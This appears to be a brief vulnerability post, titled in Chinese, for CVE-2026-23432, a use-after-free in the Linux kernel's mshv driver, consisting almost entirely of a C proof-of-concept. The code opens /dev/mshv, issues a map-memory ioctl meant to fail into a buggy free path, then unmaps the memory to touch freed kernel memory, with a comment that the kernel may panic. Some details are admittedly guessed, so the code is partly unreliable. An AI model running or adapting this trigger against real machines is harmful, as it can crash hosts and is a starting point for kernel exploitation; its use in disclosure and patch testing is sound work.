CVE-2026-23432 Linux内核mshv释放后重用漏洞

// Conceptual PoC for CVE-2026-23432 // This code demonstrates the trigger logic for the UAF in mshv. // It requires the mshv kernel module to be loaded. #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define MSHV_MAP_USER_MEMORY _IOW('H', 0x01, struct mshv_map_user_memory) struct mshv_map_user_memory { unsigned long addr; unsigned long size; }; int main() { int fd = open("/dev/mshv", O_RDWR); if (fd < 0) { perror("Failed to open /dev/mshv"); return -1; } // Allocate user memory size_t map_size = 0x1000; void *addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap failed"); close(fd); return -1; } struct mshv_map_user_memory map_req = { .addr = (unsigned long)addr, .size = map_size }; // Trigger the error path in mshv_map_user_memory // Depending on the specific check, we might need invalid flags or size. // This call is intended to fail and hit the buggy vfree() path. int ret = ioctl(fd, MSHV_MAP_USER_MEMORY, &map_req); if (ret < 0) { perror("ioctl failed (expected to trigger error path)"); } // Unmap the memory to trigger the MMU notifier on the freed region munmap(addr, map_size); close(fd); // If vulnerable, the kernel may panic here due to UAF printf("Trigger completed.\n"); return 0; }